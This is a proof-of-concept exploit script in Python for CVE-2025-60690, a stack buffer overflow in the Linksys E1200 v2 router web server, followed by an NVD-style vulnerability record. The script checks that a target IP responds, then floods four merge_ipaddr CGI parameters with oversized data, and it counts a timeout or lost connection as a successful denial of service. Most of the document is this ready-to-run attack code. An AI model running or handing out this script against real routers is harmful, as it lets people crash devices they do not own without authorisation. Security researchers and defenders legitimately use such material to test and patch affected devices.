CVE-2025-60690

#!/usr/bin/env python3 """ CVE-2025-60690 PoC - Linksys E1200 v2 Stack Buffer Overflow This PoC demonstrates the stack-based buffer overflow in get_merge_ipaddr function """ import requests import sys def exploit(target_ip, target_port=80): """ Exploit the buffer overflow vulnerability in Linksys E1200 v2 httpd The get_merge_ipaddr function concatenates 4 CGI parameters without bounds checking """ target_url = f"http://{target_ip}:{target_port}/" # Payload: 4 parameters with oversized data to overflow the fixed buffer # The buffer (a2) in get_merge_ipaddr has limited capacity # Sending combined data exceeding buffer size will cause stack overflow overflow_data = "A" * 500 # Large payload to overflow the buffer # Craft the malicious CGI parameters # Pattern: <parameter>_0, <parameter>_1, <parameter>_2, <parameter>_3 payload = { "merge_ipaddr_0": overflow_data, "merge_ipaddr_1": overflow_data, "merge_ipaddr_2": overflow_data, "merge_ipaddr_3": overflow_data } print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload size per parameter: {len(overflow_data)} bytes") print(f"[*] Total payload size: {len(overflow_data) * 4} bytes") try: # Send the malicious HTTP request response = requests.get(target_url, params=payload, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[!] Request timed out - target may be vulnerable and crashed (DoS)") return True except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down (DoS successful)") return True except Exception as e: print(f"[!] Error: {str(e)}") return False def check_vulnerability(target_ip, target_port=80): """ Check if target is potentially vulnerable """ target_url = f"http://{target_ip}:{target_port}/" # Send normal parameters first to verify service is running normal_payload = { "merge_ipaddr_0": "192.168.1", "merge_ipaddr_1": "192.168.1", "merge_ipaddr_2": "192.168.1", "merge_ipaddr_3": "192.168.1" } try: response = requests.get(target_url, params=normal_payload, timeout=10) if response.status_code: print(f"[+] Target {target_ip} is responsive") return True except: print(f"[-] Target {target_ip} is not responding") return False return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 CVE-2025-60690.py <target_ip> [port]") print("Example: python3 CVE-2025-60690.py 192.168.1.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print("=" * 60) print("CVE-2025-60690 - Linksys E1200 v2 Stack Buffer Overflow") print("=" * 60) if check_vulnerability(target, port): exploit(target, port) else: print("[-] Target check failed")

{"cve": {"id": "CVE-2025-60690", "sourceIdentifier": "[email protected]", "published": "2025-11-13T17:15:48.980", "lastModified": "2026-03-17T16:16:18.367", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow exists in the get_merge_ipaddr function of the httpd binary on Linksys E1200 v2 routers (Firmware E1200_v2.0.11.001_us.tar.gz). The function concatenates up to four user-supplied CGI parameters matching <parameter>_0~3 into a fixed-size buffer (a2) without bounds checking. Remote attackers can exploit this vulnerability via specially crafted HTTP requests to execute arbitrary code or cause denial of service without authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linksys:e1200_firmware:2.0.11.001:*:*:*:*:*:*:*", "matchCriteriaId": "2461F974-2121-490C-A6CD-18B006070679"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:linksys:e1200:2:*:*:*:*:*:*:*", "matchCriteriaId": "4B14B800-5FCA-4E2B-A42B-EBE6EEC8FBB1"}]}]}], "references": [{"url": "http://linksys.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Jarrettgohxz/CVE-research/tree/main/Linksys/E1200-V2/CVE-2025-60690", "source": "[email protected]"}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/Linksys/Linksys-E1200/CVE-2025-60690.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.linksys.com/", "source": "[email protected]", "tags": ["Product"]}]}}